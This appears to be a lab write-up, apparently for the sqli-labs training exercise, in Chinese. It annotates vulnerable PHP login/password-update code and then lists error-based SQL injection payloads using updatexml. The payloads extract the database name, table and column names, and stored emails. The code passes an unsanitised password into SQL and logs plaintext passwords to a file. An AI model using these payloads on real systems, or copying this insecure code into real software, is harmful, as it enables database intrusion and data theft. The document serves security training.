functioncheck_input($value){if(!empty($value))//检测这个形参是否为空。{// truncation (see comments)$value=substr($value,0,15);//分割一串字符串的效果, 第二个参数是从第0个字符开始切割, 后面是限制长度为15。}// Stripslashes if magic quotes enabledif(get_magic_quotes_gpc())//检测是否开启了魔术引号这个配置。{$value=stripslashes($value);//去除含有转义符\的字符串}// Quote if not a numberif(!ctype_digit($value))//检测是否为纯数字{$value="'".mysql_real_escape_string($value)."'";//转义SQL语句中使用的字符串中的特殊字符}else{$value=intval($value);//强制转换成int整形的意思, 成功时返回变量的int值 ,比如'-1'转成1, 失败时就会返回0}return$value;}// 获取变量if(isset($_POST['uname'])&&isset($_POST['passwd'])){//确保uname中没有注入$uname=check_input($_POST['uname']);$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'New Password:'.$passwd."\n");fclose($fp);// connectivity 连通
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";$result=mysql_query($sql);$row=mysql_fetch_array($result);
注意回显页面有:New Password、SUCCESSFULLY UPDATED YOUR PASSWORD
爆库名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select database()),'*'),1)#
爆表名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select group_concat(table_name)from information_schema.tables where table_schema='security'),'*'),1) #
爆列名:
uname=admin&passwd=1' or updatexml(1,concat('*',(select group_concat(column_name)from information_schema.columns where table_name='users'),'*'),1) #
爆数据:
uname=admin&passwd=1' or updatexml(1,concat('*',(select email_id from emails limit 2,1),'*'),1) #